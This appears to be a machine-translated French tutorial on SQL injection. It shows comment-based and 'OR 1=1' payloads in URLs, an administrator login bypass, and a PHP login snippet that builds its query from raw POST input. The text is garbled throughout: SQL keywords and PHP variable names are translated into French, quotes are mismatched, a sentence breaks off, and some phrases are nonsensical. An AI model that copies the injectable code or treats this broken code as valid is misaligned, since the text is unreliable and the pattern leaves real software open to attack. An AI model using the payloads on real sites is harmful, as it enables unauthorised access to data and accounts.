L'injection SQL est l'un des mécanismes d'attaque Web les plus courants utilisés par les attaquants pour voler des enregistrements et des enregistrements sensibles d'une plate-forme d'entreprise ou de médias sociaux. Alors que SQL Injection peut perdre toutes les informations d'une application qui utilise une base de données SQL, il est le plus souvent utilisé pour attaquer les sites Web. L'injection SQL est une technique d'injection de code que les pirates peuvent utiliser pour insérer des instructions SQL malveillantes dans des requêtes d'entrée à exécuter via la base de données SQL sous-jacente. Cette méthode est rendue possible en raison d'un codage incorrect des packages Web inclinés. L'injection SQL augmente en raison du fait que l'accès aux champs de saisie mis à la disposition de l'utilisateur saisit tous les mauvais types d'instructions SQL à parcourir et insère directement les requêtes dans la base de données.
Tapons cette URL dans votre navigateur et récupérons les catégories de bonus dans le tableau :
https://insecure-website.com/products?category=Bonus
Cela amène l'application à créer une question SQL pour récupérer des informations sur la marchandise concernée à partir de la base de données comme ceci :
CHOISIR * DE marchandise OÙ catégorie = 'Bonus' ET libéré = 1
Cette requête SQL demande à la base de données de renvoyer :
Le logiciel ne met en place aucune défense contre les attaques par injection SQL, donc un attaquant peut monter un assaut comme :
https://insecure-website.com/products?category=Bonus’ – –
Le résultat de la requête ci-dessus est :
SELECT * FROM produits WHERE catégorie = 'Bonus'–' AND publié = 1
L'élément clé ici est que la série à double tiret - est un indicateur de remarque en SQL, et signifie que le reste de la question est interprété comme un commentaire. Cela supprime avec succès le reste de la requête, de sorte qu'elle n'inclut plus ET lancé = 1. De cette façon, tous les produits sont affichés, tels que les produits inédits.
Une autre méthode d'injection SQL :
https://insecure-website.com/products?category=Bonus’+OR+1=1–
Le résultat:
SELECT * FROM produits WHERE catégorie = 'Bonus' OR 1=1–' AND publié = 1
En utilisant la requête ci-dessus, vous pouvez facilement attaquer la base de données.
Ignorez le compte de connexion à l'aide de la requête ci-dessous :
CHOISIR * DE utilisateurs OÙ nom d'utilisateur = 'john' ET mot de passe = 'johnwilliam'
Journal de l'attaquant avec le nom d'utilisateur sans aucun mot de passe, dans la requête SQL, utilisez - - mot de passe à double tiret et commentez-le dans la clause where. Par exemple, envoyez une requête à l'administrateur du nom d'utilisateur et un champ de mot de passe vide. La requête est :
SELECT * FROM utilisateurs WHERE username = 'administrator' – – ' AND password =
Il existe également de nombreuses méthodes d'injection SQL.
Un code PHP simple pour l'injection SQL dans la page de connexion est donné ci-dessous :
$uname = $_POST [ 'uname' ] ;
$mot de passe = $_POST [ ‘ mot de passe ‘ ] ;
$query = ' sélectionnez le nom d'utilisateur, passez des utilisateurs où nom d'utilisateur = ' $uname ' et mot de passe = ' $passwrd
$résultat = mysql_query ( $query ) ;
$lignes = mysql_fetch_array ( $résultat ) ;
Si ( $lignes )
{
echo ‘Vous êtes connecté avec succès’ ;
créer_session( ) ;
}
autre {
echo ' Meilleure chance la prochaine fois ' ;
}